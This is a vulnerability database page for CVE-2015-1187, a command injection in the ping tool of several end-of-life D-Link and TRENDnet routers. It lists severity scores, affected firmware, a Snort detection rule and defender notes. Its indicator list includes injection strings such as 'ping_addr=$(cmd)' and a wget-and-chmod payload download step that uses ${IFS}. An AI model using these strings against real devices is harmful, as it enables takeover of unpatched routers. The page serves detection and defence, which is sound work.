cbcvebase.
CVE-2015-1187
published 2017-09-21

CVE-2015-1187: The ping tool in multiple D-Link and TRENDnet devices allow remote attackers to execute arbitrary code via the ping_addr parameter to ping.ccp.

PriorityP195critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOIT
CISA Known Exploited Vulnerabilitydue 2022-04-15
Exploited in the wild
EPSS
82.86%
99.6th percentile
The ping tool in multiple D-Link and TRENDnet devices allow remote attackers to execute arbitrary code via the ping_addr parameter to ping.ccp.

Affected

16 ranges
VendorProductVersion rangeFixed in
dlinkdir-626l_firmware
dlinkdir-636l_firmware
dlinkdir-651_firmware
dlinkdir-808l_firmware
dlinkdir-810l_firmware
dlinkdir-810l_firmware
dlinkdir-820l_firmware
dlinkdir-820l_firmware
dlinkdir-820l_firmware
dlinkdir-826l_firmware
dlinkdir-830l_firmware
dlinkdir-836l_firmware
trendnettew-711br_firmware
trendnettew-731br_firmware
trendnettew-810dr_firmware
trendnettew-813dru_firmware

Detection & IOCsextracted from sources · hover to see the quote

path/ping.ccp
path/ping.ccp
commandping_addr=$(cmd)
commandwget${IFS}<payload_url>${IFS}-O${IFS}<upload_path>
commandchmod${IFS}777${IFS}<upload_path>
path/tmp
snort
alert http any any -> $HOME_NET any (msg:"ET EXPLOIT D-Link TRENDnet NCC Service Command Injection Attempt (CVE-2015-1187)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/ping.cpp"; endswith; http.request_body; content:"&ping_addr=|24 28|"; fast_pattern; reference:url,www.fortinet.com/blog/threat-research/Iz1h9-campaign-enhances-arsenal-with-scores-of-exploits; reference:cve,2015-1187; classtype:attempted-admin; sid:2049118; rev:2; metadata:affected_product D_Link, attack_target Networking_Equipment, created_at 2023_11_08, cve CVE_2015_1187, deployment Perimeter, deployment Internal, confidence High, signature_severity Major, tag CISA_KEV, updated_at 2024_05_22, reviewed_at 2023_11_08, mitre_tactic_id TA0008, mitre_tactic_name Lateral_Movement, mitre_technique_id T1210, mitre_technique_name Exploitation_Of_Remote_Services;)
bytes
|24 28|
  • Exploit sends HTTP POST to /ping.ccp (or /ping.cpp per Snort rule) with ccp_act=ping_v6 and ping_addr parameter containing a shell command substitution starting with $( — detect POST requests to this URI with body containing &ping_addr=$( or the hex equivalent |24 28|
  • Vulnerable devices respond with HTTP 500 and a Server header matching mini_httpd — use this to fingerprint/detect affected devices during reconnaissance
  • Post-exploitation payload is dropped to /tmp as a randomly named ELF binary, then chmod 777'd and executed — monitor for new executable files created in /tmp on MIPS Linux devices
  • Exploit uses ${IFS} as a space substitute in shell commands to evade simple string-matching — detect wget or chmod commands in HTTP POST bodies using ${IFS} as delimiter
  • Targets Linux MIPS (little-endian and big-endian) architectures — payload retrieval via wget from attacker-controlled server; monitor outbound wget requests from router management IPs
  • ·The Snort rule targets /ping.cpp (with a 'p') while the CVE and Metasploit module reference /ping.ccp (with a 'c') — ensure detection coverage includes both URI variants to avoid blind spots
  • ·The Metasploit module was only tested on a DIR-626L emulated environment; exploitation behavior on other listed affected devices (DIR-636L, DIR-808L, DIR-810L, DIR-820L, DIR-826L, DIR-830L, DIR-836L, TEW-731BR) may differ
  • ·All affected products are end-of-life per CISA; no vendor patch is available — detection/blocking is the only mitigation for devices still in use

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
cisa9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.